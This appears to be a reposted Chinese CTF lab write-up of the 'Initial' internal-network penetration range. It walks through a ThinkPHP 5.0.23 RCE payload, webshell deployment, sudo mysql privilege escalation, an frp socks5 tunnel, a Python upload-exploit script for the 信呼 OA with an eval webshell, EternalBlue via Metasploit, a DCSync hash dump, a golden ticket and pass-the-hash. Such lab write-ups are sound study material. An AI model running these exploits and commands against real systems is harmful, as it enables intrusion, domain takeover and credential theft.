1、概述
Initial是一套难度为简单的靶场环境,完成该挑战可以帮助玩家初步认识内网渗透的简单流程。该靶场只有一个flag,各部分位于不同的机器上。
2、内容
开局一个IP,首先对IP地址进行信息收集,先扫一下端口。
目标IP开放22、80端口。我们先从80端口入手,访问地址登录无效,扫目录也没有任何东西,看了下网站favicon.ico图标是Thinkphp框架的图标。
直接使用ThinkphpGUI扫一下网站漏洞。
存在ThinkPHP 5.0.23 RCE
http://39.98.112.112//?s=captcha&test=-1
POST:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
直接看下网站目录。
得知路径/var/www/html,直接写shell。
蚁剑连接。
查看一下权限,由于权限不足需要提权。
尝试了下find提权好像不行。
那么直接用sudo进行提权,sudo -l 查看可执行命令。
这里可以看到mysql可以不使用密码执行。然后以下URL查找命令执行格式。
https://gtfobins.github.io/gtfobins/mysql/
查找flag文件,然后直接查看root下的flag。
sudo mysql -e '! find / -name *flag'
sudo mysql -e '! cat /root/flag/flag01.txt'
获取到第一段flag
flag{60b53231-
接着通过蚁剑上传fscan,扫描内网进行信息收集。
先查看本机的IP地址,忘记截图了。
fscan下载地址:https://github.com/shadow1ng/fscan/releases/tag/1.8.2
linux下载fscan_amd64就行
对同一网段进行扫描,然后查看结果,扫描完成后在同目录会生成result.txt文件,查看文件即可。
./fscan_amd64 -h 172.22.1.0/24
扫描结果
172.22.1.21 MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
172.22.1.2 DC DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
172.22.1.18 信呼协同办公系统
我们先对信呼协同办公系统进行渗透,为了在攻击机上访问内网,我们通过蚁剑上传frp,在公网攻击机器上进行监听开启服务端。
服务端开启frp服务
./frps -c frps.ini #配置默认就可
然后在获取shell的机器上开启客户端,客户端配置如下:
[common]
server_addr =公网ip
server_port = 7000
[socks5]
type = tcp
plugin = socks5
remote_port = 5000
然后命令客户端执行获取sokcs5隧道。
./frpc -c frpc.ini
这样我们直接可在公网攻击机器上访问到172.22.1.18。
根据信息收集此OA存在RCE漏洞,这里使用脚本直接复现。
import requests
session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('sahx.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
print(id)
print(filepath)
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)
sahx.php为同目录下,sahx.php文件内容为:
eval($_POST["sahx"]); @
上传文件后,脚本会返回上传路径,直接蚁剑连接,这里使用本地机器未使用公网服务器,本地使用蚁剑配置代理,因为流量走的是公网服务器,我们蚁剑配置公网服务器代理。
配置完代理连接,获取到flag02。
flag02:2ce3-4813-87d4-
接下来对172.22.1.21这个IP进行MS17-10攻击,使用metasploit,我这里直接使用公网服务器上的metasploit,安装windows版本,如果想使用本地kali进行攻击需要配置代理。
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit
代理配置
vim /etc/proxychains4.conf
注释掉本机代理,添加socks5代理即可
获取到meterpreter shell后需要对目标机器提权,根据提示DCSync,说实话这个没加过,先了解一下。
DCSync是mimikatz在2015年添加的一个功能,利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口模仿一个域控制器向另一个域控制器发起数据同步请求,能够用来导出域内所有用户的hash。
接下来尝试利用DCSync
load kiwi
导出域内用户hash
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv
['xiaorang.lab' will be the domain ]
['DC01.xiaorang.lab' will be the DC server ]
['xiaorang.lab' ] Exporting domain
[ ] Service : ldap
[9) ] AuthnSvc : GSS_NEGOTIATE (
502 krbtgt fb812eea13a18b7fcdb8e6d67ddc205b 514
1106 Marcus e07510a4284b3c97c8e7dee970918c5c 512
1107 Charles f6a9881cd5ae709abb4ac9ab87f24617 512
500 Administrator 10cf89a850fb1cdbe6bb432b859164c8 512
1000 DC01$ 1b5dc13b5f75dcd70ff1ad62d57622b8 532480
1104 XIAORANG-OA01$ f561bd5d0e3d9ca3c95ebd6143b15476 4096
1108 XIAORANG-WIN7$ d3f6411becf2495b9de1d0ea9636d3d5 4096
接下来生成黄金并导入票据
生成
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /user:krbtgt
导入
kiwi_cmd kerberos::golden /user:administrator /domain:xiaorang.lab /sid:S-1-5-21-314492864-3856862959-4045974917-502 /krbtgt:fb812eea13a18b7fcdb8e6d67ddc205b /ptt
最后进行哈希传递
wmic -hashes :10cf89a850fb1cdbe6bb432b859164c8 xiaorang/administrator@172.22.1.2 "type UsersAdministratorflagflag03.txt"
但是最后没有成功看到flag,对于这块不是太了解。不知道是哪里出了问题,下来了研究研究。
然后flag是:
flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}
3、总结
最后在获取flag03的这段出了问题,本来打算使用kali进行攻击,奈何代理设置上超时没法连接内网,然后就公网服务器上安装了windows版的metasploit为了应急使用。再一个内网这块还是欠缺很多所以接下来会多打一些内网渗透靶场,对于内网靶场的想法不应该局限于哪种方式提权,应该从靶场中信息收集查看能够从哪方面进行提权,说的感觉有点绕。云镜靶场价格感觉也不低,但是里边内容也是很可以了,一套流程类似真实场景。这篇是最简单的靶场,先从简单的开始,难点的靶场沙砾撑不住啊。
免责声明:
本公众号漏洞复现文章,SRC、渗透测试等文章,仅供学习参考,请勿用于实战!!有授权情况下除外!!由于传播、利用本公众号文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责
原文始发于微信公众号(sahx安全从业记):春秋云境内网渗透靶场-Initial
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论